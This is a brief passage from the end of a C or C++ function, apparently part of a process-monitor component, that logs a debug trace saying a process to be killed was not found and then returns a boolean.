		DBG_TRACE(L"ProcessMonitor KillProcess ProcessHandler PROC_FIND PROC NOT FOUND ", 5, FALSE);
		return TRUE;	
	}

	return FALSE;
}